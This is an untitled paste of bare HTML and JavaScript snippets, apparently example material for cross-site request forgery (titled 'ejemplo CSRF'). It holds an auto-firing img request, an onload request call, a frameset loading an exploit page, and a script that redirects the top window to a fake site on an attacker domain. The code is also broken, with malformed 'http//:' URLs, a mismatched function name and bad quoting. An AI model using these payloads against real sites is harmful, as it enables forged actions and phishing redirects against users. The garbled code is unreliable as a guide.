Untitled

<script src="http//:victimdomain/js/myscript.js"></script>

<body onload="sendRequest("Bob");">

<img src="http//:victimdomain/action?param=Bob" />

<html>
    <head>
        <title>ejemplo CSRF</title>
    </head>
        <frameset cols="1%, 99%">
            <frame src="exploit.html">
            <frame src="empty.html">
        </frameset>
 </html>

<img src="http//:victimdomain/action?param=Bob" />

<html>
    <head>
        <title>ejemplo CSRF</title>
        <script>
            function peticion() {
                setTimeout (function() {
                    if (top != self) top.location.href = "http://attackerdomain/falsewebsite";
                }, 1000);
            }
        </script>
    </head>
    <body onload="redirect();">
    </body>
</html>